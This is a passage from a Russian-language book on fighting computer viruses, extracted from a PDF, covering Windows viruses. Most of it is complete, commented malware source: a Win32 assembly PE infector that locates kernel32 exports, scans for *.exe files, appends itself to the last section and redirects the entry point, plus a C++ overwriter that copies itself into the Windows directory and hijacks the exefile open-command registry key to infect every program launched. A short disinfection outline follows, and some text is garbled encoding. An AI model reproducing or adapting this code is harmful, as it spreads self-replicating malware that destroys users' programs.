Технологии борьбы с компьютерными вирусами. Практическое пособие
.pdfWindows вирусы |
201 |
|
|
xor bx,bx
next_block:
cmp word ptr [ebx],'ZM' je found_MZ
sub ebx,1000h jmp next_block
found_MZ:
mov edx,ebx
mov edi,dword ptr [ebx+3Ch] add edi,edx
cmp word ptr [edi],'EP' jne Exit
mov 4 ptr [KernelAddr],edx
add ebx,[edi+78h]
mov ecx,[ebx+18h] mov esi,[ebx+20h]
mov edi,[ebx+24h]
add esi,edx add edi,edx
cld
Search:
lodsd
add eax, edx push ecx push edi
xchg esi, eax
lea edi, [GetProcAddress]
mov ecx, GetProcSize repe cmpsb
xchg esi, eax pop edi
pop ecx je Found inc edi inc edi
loop Search jmp Exit
Found:
xor eax,eax
mov ax, word ptr [edi] shl eax, 2
mov esi, [ebx+1Ch]
;Kernel'a
;и найдем его начало
;Начало?
;ÄÀ!
;Ищем дальше
;Сохраним указатель
;Адрес PE заголовка
;+адрес kernel'a
;Проверка на PE
;Не равно - выходим
;сохраним базовый адрес
;kernel'a
;Получим адрес
;таблицы экспортов
;Количество указателей
;Указатель на таблицу
;указателей имен
;Указатель на таблицу
;ординалов
;Адрес таблицы имен в памяти
;Адрес таблицы ординалов в
;памяти
;Поиск вперед
;Ищем функцию GetProcAddress
;Берем указатель из таблицы
;указателей
;Получаем адрес памяти
;Сохраним количество указателей
;Сохраним указатель
;на ординалы
;В esi указатель на имя
;найденной функции
;Указываем на имя
;нужной нам функции
;Размер строки
;Сравниваем
;Восстановим значение esi
;Восстановим указатель на
;Ординалы
;Восстановим количество указателей
;Нашли!
;Нет - пробуем следующую функцию
;Указатель на следующий
;ординал
;Возьмем ординал
;Умножим на размер ординала
;Указатель на таблицу адресов
202 |
|
|
Windows вирусы |
|
|
|
|
add esi, edx |
|
|
; Получим адрес начала |
|
|
|
; таблицы адресов |
add esi, eax |
|
|
; и адрес нужной функции |
lodsd |
|
|
; Прочитаем |
add eax, edx |
|
|
; Добавим адрес kernel'a |
mov 4 ptr [GetProcAddr],eax |
; Сохраним |
||
Exit: |
|
|
|
jmp fin |
|
|
; Переход на завершение |
|
|
|
; программы |
KernelAddr |
dd |
0 |
|
GetProcAddr |
dd |
0 |
|
GetProcAddress |
db |
'GetProcAddress',0 |
|
GetProcSize |
equ |
$-GetProcAddress |
|
.code |
|
|
; Кодовая секция |
start: |
|
|
|
jmp virus |
|
|
; Переходим на наш код |
fin: |
|
|
|
push 0 |
|
|
; А сюда управление |
|
|
|
; попадет, когда |
call ExitProcess |
|
; программа завершается |
|
end start |
|
|
|
;---------------------------------------------- |
|
||
Теперь, когда у нас есть и адрес kernel'a, и адрес WIN API функции GetProcAddress, мы можем переходить к написанию полноценного WIN32 вируса, эффективно работающего под любой операцинной системой семейства Windows.
Рассмотрим листинг:
;----------------------------------------------
.386
.model flat
; Функция, необходимая для запуска вируса после компоновки
extrn |
ExitProcess:PROC |
|
|
.data |
|
; Вирус расположен в области данных |
|
start: |
|
|
|
;---------------------------------------------- |
|
|
|
mov |
ebx,[esp] |
; Возьмем из стека адрес |
|
xor |
bx,bx |
; Kernel'a и найдем его начало |
|
call |
delta |
; |
|
delta: |
|
; Получаем дельта-смещение |
|
pop |
ebp |
; |
|
sub |
ebp,offset delta |
; |
|
mov |
eax,dword ptr [ebp + offset oldip] |
; |
Восстанавливаем старую точку |
add |
eax,dword ptr [ebp + offset imagebase]; |
и виртуальный адрес начала |
|
|
|
; программы |
|
push |
eax |
; Положим eax в стек |
|
pushad |
; Сохраняем все регистры |
||
Windows вирусы |
|
203 |
|
|
|
|
|
call |
getproc |
|
|
lea |
eax,dword ptr[ebp+find_file] |
|
; |
push |
eax |
|
; Заполняем параметры |
lea |
eax,dword ptr[ebp+mask1] |
|
; и вызываем функцию |
push |
eax |
|
; FindFirstFileA |
lea |
eax,dword ptr[ebp+FindFirstFileA] |
; |
|
call |
GETAPI |
|
; |
cmp |
EAX, -1 |
|
; Если файлов нет, |
je |
End_it |
|
; тогда выходим |
mov |
[ebp+Fhandle],eax |
|
; Сохраняем хэндл поиска |
inf1: |
|
|
|
mov |
ecx,dword ptr [ebp + find_file + 20h] ; ecx = filesize |
||
mov |
[ebp + offset filesize], ecx |
|
; Сохраняем размер файла |
add |
ecx, finish - start + 1000h |
|
; filesize + virus |
mov |
[ebp + offset memory], ecx |
|
; +workspace=memory |
call |
infect |
|
|
f_next: |
|
|
|
call |
Fnext |
|
|
cmp |
eax,0 |
|
; 0 Файлы закончились |
jne |
inf1 |
|
|
push |
dword ptr [ebp+Fhandle] |
|
; |
lea |
eax,dword ptr[ebp+FindClose] |
|
; Закрытие поиска |
call |
GETAPI |
|
; |
;---------------------------------------------- |
|
|
|
End_it: |
|
|
|
popad |
|
|
; Восстанавливаем все регистры |
ret |
|
|
; Отдаем управление носителю |
;---------------------------------------------- |
|
|
|
infect: |
|
|
|
lea |
esi,[ebp + find_file + 2ch] |
|
; esi = имени файла |
OpenFile: |
|
|
|
push |
0 |
|
|
push |
00000080h |
|
|
push |
3 |
|
|
push |
0 |
|
|
push |
00000001h OR 00000002h |
|
|
push |
40000000h OR 80000000h |
|
|
push |
esi |
|
|
lea |
eax,[ebp+CreateFileA] |
|
; Открытие файла |
call |
GETAPI |
|
; для чтения/записи |
mov |
[ebp + offset fHnd],eax |
|
; Сохранение хэндла файла |
cmp |
eax,-1 |
|
|
je |
InfectionError |
|
|
;---------------------------------------------- |
|
|
|
CreateFileMapping: |
|
|
|
|
|
; Выделяем память |
|
push |
0 |
; Имя файла хэндл = 0 |
|
push |
dword ptr [ebp+ offset memory] |
; Максимальный размер = memory |
|
204 |
|
|
Windows вирусы |
|
|
|
|
push |
0 |
; минимальный размер = 0 |
|
push |
4 |
; Доступ чтение/запись |
|
push |
0 |
; |
|
push |
dword ptr [ebp + offset fHnd] |
|
|
lea |
eax,[ebp + offset CreateFileMappingA] |
||
call |
GETAPI |
|
; eax = хэндл |
mov |
[ebp + offset mHnd],eax |
|
|
or |
eax,eax |
|
|
jz |
CloseFile |
|
|
MapViewOfFile1: |
|
|
|
push |
dword ptr [ebp + offset memory] |
; количество памяти для работы |
|
push |
0 |
; |
|
push |
0 |
; |
|
push |
2 |
; Режим записи |
|
push |
eax |
; Хэндл |
|
lea |
eax,[ebp + offset MapViewOfFile] |
; Вызываем функцию |
|
call |
GETAPI |
|
|
or |
eax,eax |
|
|
jz |
CloseMap |
|
|
mov |
esi,eax |
|
; |
mov |
[ebp + offset mapaddress],esi |
|
; Сохраняем базу памяти |
DoSomeChecks: |
|
|
|
cmp |
word ptr [esi],'ZM' |
|
; Ýòî EXE ôàéë? |
jne |
UnmapView |
|
|
cmp |
word ptr [esi + 38h],'nf' |
|
; Уже зараженный файл? |
je |
UnmapView |
|
|
OkGo: |
|
|
|
mov |
ebx,dword ptr [esi + 3ch] |
|
|
cmp |
ebx,200h |
|
|
ja |
UnmapView |
|
|
add |
ebx,esi |
|
|
cmp |
word ptr [ebx],'EP' |
|
; Ýòî PE ôàéë? |
jne |
UnmapView |
|
|
mov |
[ebp + offset PEheader],ebx |
|
; сохраняем PE заголовок |
mov |
esi,ebx |
|
|
mov |
eax,[esi + 28h] |
|
|
mov |
[ebp + offset oldip],eax |
|
; Сохраняем старую |
|
|
|
; точку входа (ip) |
mov |
eax,[esi + 34h] |
|
|
mov |
[ebp + offset imagebase],eax |
|
; Сохраняем |
|
|
|
; виртуальный адрес |
|
|
|
; начала программы |
;---------------------------------------------- |
|
|
|
LocateBeginOfLastSection: |
|
|
|
mov |
ebx,[esi + 74h] |
|
; |
shl |
ebx,3 |
|
; |
xor |
eax,eax |
|
|
mov |
ax,word ptr [esi + 6h] |
|
; Количество объектов |
Windows вирусы |
205 |
|
|
|
|
dec |
eax |
; (нам нужен последний - 1 |
mov |
ecx,28h |
; заголовок секции) |
mul |
ecx |
; * размер заголовка |
add |
esi,78h |
; Теперь esi указывает на |
add |
esi,ebx |
; начало последнего заголовка |
add |
esi,eax |
; секции |
ChangeLastSectionHeader: |
|
|
or |
dword ptr [esi + 24h],00000020h or 20000000h or 80000000h |
|
NewPhysicalSize: |
|
|
mov |
eax,dword ptr [esi+10h] |
; Старый физический размер |
add |
eax,finish-start |
|
mov |
dword ptr [esi+10h],eax |
; Сохраняем его |
VirtualSizeCheck: |
|
|
mov |
edi,dword ptr [esi + 8h] |
; Получаем старый |
cmp |
eax, edi |
; виртуальный размер |
jge |
NewVirtualSize |
|
VirtualSizeIsVirtual:
add |
edi,finish-start |
mov |
eax,edi |
NewVirtualSize: |
|
mov |
ecx,[ebp + offset PEheader] |
mov |
ecx,[ecx + 38h] |
div |
ecx |
inc |
eax |
mul |
ecx |
mov |
[esi + 8h],eax |
NewAlignedImageSize: |
|
mov |
eax,dword ptr [esi + 0ch] |
add |
eax,dword ptr [esi + 8h] |
mov |
[ebp+ imagesize],eax |
NewAlignedFileSize: |
|
mov |
eax,dword ptr [esi+10h] |
add |
eax,dword ptr [esi + 14h] |
mov |
[ebp + offset filesize],eax |
CalculateNewIp: |
|
mov |
eax,dword ptr [esi+10h] |
add |
eax,dword ptr [esi + 0ch] |
sub |
eax,finish-start |
mov |
[ebp + newip],eax |
CopyVirusToEndOfFile: |
|
mov |
edi,dword ptr [esi+10h] |
sub |
edi,finish-start |
;и выравниваем
;Сохраняем новое значение
;Получаем виртуальное
;смещение
;+ новый виртуальный размер
;= новый виртуальный размер
;Получаем новый физический
;размер
;Добавляем смещение
;физического
;размера = размер файла
;Новый физический размер
;+ виртуальное смещение
;- размер вируса
;Новая точка входа
;Новый физический размер
206 |
|
|
Windows вирусы |
|
|
|
|
add |
edi,[ebp + offset mapaddress] |
; mapaddress |
|
add |
edi,[esi + 14h] |
; Добавляем смещение |
|
|
|
; потоковых данных |
|
lea |
esi,[ebp + start] |
; Копируем вирус |
|
mov |
ecx,(finish-start)/4 + 4 |
|
|
cld |
|
|
|
rep |
movsd |
|
|
UpdatePEHeaderWithChanges: |
|
|
|
mov |
esi,dword ptr [ebp + offset mapaddress] |
|
|
mov |
word ptr [esi + 38h],'nf' |
; |
Устанавливаем метку |
mov |
esi,dword ptr [ebp + offset PEheader] ; инфицированности |
||
mov |
eax,dword ptr [ebp + offset newip] |
|
|
mov |
[esi + 28h],eax |
; Устанавливаем новую точку |
|
mov |
eax,[ebp + offset imagesize] |
; входа |
|
mov |
[esi + 50h],eax |
; Устанавливаем новый |
|
|
|
; виртуальный размер |
|
UnmapView: |
|
|
|
push |
dword ptr [ebp + offset mapaddress] |
; |
|
lea |
eax,[ebp + UnmapViewOfFile] |
; |
Заканчиваем изменение файла |
call |
GETAPI |
; |
в памяти и кладем его обратно |
CloseMap: |
|
|
|
push |
dword ptr [ebp + offset mHnd] |
; |
|
lea |
eax,[ebp + CloseHandle] |
; |
Закрываем хэндл |
call |
GETAPI |
; |
|
push |
0 |
|
|
push |
0 |
|
|
push |
dword ptr [ebp + offset filesize] |
; |
|
push |
dword ptr [ebp + offset fHnd] |
; Переходим в конец файла |
|
lea |
eax,[ebp + offset SetFilePointer] |
; |
|
call |
GETAPI |
|
|
push |
dword ptr [ebp + offset fHnd] |
; |
|
lea |
eax,[ebp + offset SetEndOfFile] |
; Устанавливаем символ конца |
|
call |
GETAPI |
; |
файла |
;---------------------------------------------- |
|
|
|
CloseFile: |
|
|
|
push |
dword ptr [ebp + offset fHnd] |
; |
|
lea |
eax,[ebp + offset CloseHandle] |
; |
Закрываем файл |
call |
GETAPI |
; |
|
InfectionError: |
|
|
|
ret |
|
; Выходим из процедуры |
|
;---------------------------------------------- |
|
|
|
Fnext: |
|
|
|
lea |
eax,[ebp+offset find_file] |
; |
|
push |
eax |
; |
|
push |
dword ptr[ebp+Fhandle] |
; |
Процедура поиска следующего |
lea |
eax,[ebp+offset+FindNextFileA] |
; |
файла |
call |
GETAPI |
; |
|
Windows вирусы |
207 |
|
|
|
|
ret |
|
|
;---------------------------------------------- |
|
|
Getproc: |
|
|
next_block: |
|
|
cmp |
word ptr [ebx],'ZM' |
; Начало? |
je |
found_MZ |
; ÄÀ! |
sub |
ebx,1000h |
; Ищем дальше |
jmp |
next_block |
|
found_MZ: |
|
|
mov |
edx,ebx |
; Сохраним указатель |
mov |
edi,dword ptr [ebx+3Ch] |
; Адрес PE заголовка |
add |
edi,edx |
; + адрес kernel'a |
cmp |
word ptr [edi],'EP' |
; Проверка на PE |
jne |
Exit |
; Не равно - выходим |
mov |
4 ptr [ebp+KernelAddr],edx |
; Сохраним базовый адрес |
|
|
; kernel'a |
add |
ebx,[edi+78h] |
; Получим адрес таблицы |
|
|
; экспортов |
mov |
ecx,[ebx+18h] |
; Количество указателей |
mov |
esi,[ebx+20h] |
; Указатель на таблицу |
|
|
; указателей имен |
mov |
edi,[ebx+24h] |
; Указатель на таблицу |
|
|
; ординалов |
add |
esi,edx |
; Адрес таблицы имен в памяти |
add |
edi,edx |
; Адрес таблицы ординалов в |
|
|
; памяти |
cld |
|
; Поиск вперед |
Search: |
|
; Ищем функцию GetProcAddress |
lodsd |
|
; Берем указатель из |
|
|
; таблицы указателей |
add |
eax,edx |
; Получаем адрес памяти |
push |
ecx |
; Сохраним количество указателей |
push |
edi |
; Сохраним указатель |
|
|
; на ординалы |
xchg |
esi,eax |
; В esi указатель на имя |
|
|
; найденной функции |
lea |
edi,[ebp+GetProcAddress] |
; Указываем на имя нужной |
|
|
; нам фунции |
mov |
ecx,GetProcSize |
; Размер строки |
repe |
cmpsb |
; Сравниваем |
xchg |
esi,eax |
; Восстановим значение esi |
pop |
edi |
; Восстановим указатель |
|
|
; на ординалы |
pop |
ecx |
; Восстановим количество |
je |
Found |
; указателей нашли! |
inc |
edi |
; Нет - пробуем следующую функцию |
inc |
edi |
; Указатель на следующий |
|
|
; ординал |
loop |
Search |
|
jmp |
Exit |
|
Found: |
|
|
xor |
eax,eax |
|
208 |
|
|
Windows вирусы |
|
|
|
|
mov |
ax,word ptr [edi] |
; Возьмем ординал |
|
shl |
eax,2 |
|
; Умножим на размер ординала |
mov |
esi,[ebx+1Ch] |
; Указатель на таблицу адресов |
|
add |
esi,edx |
; Получим адрес начала |
|
|
|
|
; таблицы адресов |
add |
esi,eax |
; и адрес нужной функции |
|
lodsd |
|
|
; Прочитаем |
add |
eax,edx |
; Добавим адрес kernel'a |
|
mov |
4 ptr [ebp+GetProcAddr],eax |
; Сохраним |
|
Exit: |
|
|
|
ret |
|
|
|
;---------------------------------------------- |
|
||
GETAPI: |
|
|
|
push |
eax |
|
; Положим в стек имя функции |
push |
dword ptr [ebp+ offset KernelAddr] |
; Положим в стек адрес kernel'a |
|
call |
[ebp + offset GetProcAddr] |
; Получаем адрес необходимой |
|
|
|
|
; нам Функции |
jmp |
eax |
|
; Вызываем функцию |
ret |
|
|
; Возврат из функции |
;---------------------------------------------- |
|
||
mask1 |
db |
'*.exe',0 |
; Маска для поиска |
KernelAddr |
dd |
0 |
|
GetProcAddr |
dd |
0 |
|
GetProcAddress |
db |
'GetProcAddress',0 |
|
GetProcSize |
equ |
$-GetProcAddress |
|
FindFirstFileA |
db "FindFirstFileA",0 |
|
|
CreateFileA |
db "CreateFileA",0 |
|
|
CreateFileMappingA db "CreateFileMappingA",0 |
|
||
MapViewOfFile |
db "MapViewOfFile",0 |
|
|
UnmapViewOfFile |
db "UnmapViewOfFile",0 |
|
|
CloseHandle |
db "CloseHandle",0 |
|
|
SetFilePointer |
db "SetFilePointer",0 |
|
|
SetEndOfFile |
db "SetEndOfFile",0 |
|
|
FindNextFileA |
db "FindNextFileA",0 |
|
|
FindClose |
db "FindClose",0 |
|
|
oldip |
dd |
offset Exit1 |
; Для первого поколения вируса |
|
|
|
; Необходимо это смещение |
imagebase |
dd |
0h |
; |
finish: |
|
|
|
find_file |
db |
313 dup(?) |
; Здесь идут данные, которые в |
size2read |
dd |
0h |
; тело вируса не входят |
fHnd |
dd |
0h |
; |
mHnd |
dd |
0h |
; |
memory |
dd |
0h |
; |
mapaddress |
dd |
0h |
; |
PEheader |
dd |
0h |
|
filesize |
dd |
0h |
|
imagesize |
dd |
0h |
|
Windows вирусы |
|
209 |
|
|
|
|
|
newip |
dd |
0h |
|
Fhandle |
dd |
0h |
|
;---------------------------------------------- |
|
|
|
.code |
|
|
|
Exit1: |
|
|
|
|
push 0 |
|
; Сюда передается управление |
|
call ExitProcess |
; в первом поколении вируса |
|
;---------------------------------------------- |
|
|
|
end |
start |
|
|
;---------------------------------------------- |
|
|
|
Ну вот, мы написали вирус, который будет работать под операционными системами Win9x,W2K, Win ME,Win XP.
Но данный способ — не единственный способ паразитизма PE EXE файлов, существуют также заголовочные паразиты (которые размещаются в свободном месте PE заголовка), инфекторы первой секции и множество других способов инфицирования PE EXE файлов.
Рассмотрим алгоритм лечения данного вида паразитов:
1)обнаружить инфицированную программу;
2)обнаружить оригинальное начало программы;
3)изменить точку входа;
4)удалить хвост вируса.
Ôó í ê ö è è ì à ñ ê è ð î â ê è è ó ñ ê î ð å í è ÿ
ýï è ä å ì è è
Глава 4 Резидентность
По сути, резидентность в WIN32 системах такая, как в программах под DOS (TSR), отсутствует, потому что система многозадачная. Существует несколько способов реализации резидентности в Windows-системах. Первый и наиболее простой и эффективный — это скопировать вирус в системную директорию и сделать его выполняемым при загрузке или подменить ключ в реестре, так, чтобы при запуске сначала запускался вирус, а затем необходимая программа. Второй способ — это инфицировать какой-нибудь из наиболее часто используемых системных файлов. Мы рассмотрим первый вариант как наиболее удобный и эффективный.
Работать мы будем на примере простого вируса overwriter, чтобы не отвлекаться от главной темы нашего повествования. Все программы, запускаемые в Windows, запускаются через ключ реестра: HKEY_CLASSES_ROOT\exefile\ shell\open\command. По умолчанию значение данного параметра — «%1» %*, что означает запуск самой программы. Вначале мы должны сохранить вирус в директории Windows, а потом изменить параметр в реестре так, чтобы запускался вирус с параметром настоящей программы, которую он будет инфицировать.
210 |
Windows вирусы |
|
|
Рассмотрим алгоритм функционирования данного вируса:
1)получить адрес директории Windows;
2)скопировать в эту директорию вирус с именем supa.exe;
3)открыть ключ реестра HKEY_CLASSES_ROOT\exefile\shell\open\ command;
4)изменить значение на Имя_Windows_директории\supa.exe %1;
5)закрыть ключ реестра;
6)если вирус был запущен с параметром, то инфицируем имя файла переданное параметром;
7)если вирус запущен без параметров, то заражаем все файлы в текущей директоии;
8)завершение работы вируса;
Рассмотрим реализацию вируса, как обычно, на C++. Переходим к лиcтингу:
//---------------------------------------------
#include "windows.h"
int main(int argc, char *argv[]) |
|
{ |
|
char windir[200]; |
// Место для имени Windows-директории |
char dropper[10]="\\supa.exe"; |
// Имя файла, который будет храниться в папке Windows |
char param1[4]=" %1"; |
// Параметр для реестра |
char subkey[40]="exefile\\shell\\open\\command"; // Ключ параметра |
|
HANDLE find_handle; |
// Хэндл поиска |
WIN32_FIND_DATA ff; |
// Место для результатов поиска |
char msg1[50]="[ VIRUS WIN32 OVERWRITER -=w32.SS-20=- ]"; // Имя вируса
GetWindowsDirectoryA(windir,100); // Получаем имя Windows-директории
lstrcatA(windir,dropper); |
// Добавляем к имени |
Windows-директории имя файла |
CopyFileA(argv[0],windir,0); |
// Копируем вирус в Windows-директорию |
|
lstrcatA(windir,param1); |
// Добавляем к имени |
файла %1 |
RegOpenKeyA(HKEY_CLASSES_ROOT,subkey,0); // Открываем ключ реестра RegSetValueA(HKEY_CLASSES_ROOT,subkey,REG_SZ,windir,sizeof(windir)); // Устанавливаем
RegCloseKey(HKEY_CLASSES_ROOT); |
// нужное значение параметра и закрываем ключ |
if (argc>1) |
// Если вирус запущен с параметром, |
{
CopyFileA(argv[0],argv[1],0); // инфицируем параметр
exit(0); |
// и выходим |
|
} |
|
|
find_handle=FindFirstFileA("*.exe",&ff); // Если без параметра, |
||
while (1) |
|
|
{ |
|
|
CopyFileA(argv[0],ff.cFileName,0); |
// то инфицируем все файлы в текущей |
|
if (!FindNextFileA(find_handle,&ff)) break; // директории |
||
} |
|
|
FindClose(find_handle); |
// Закрываем поиск |
|
return (0); |
// Завершаем программу |
|
}
//---------------------------------------------
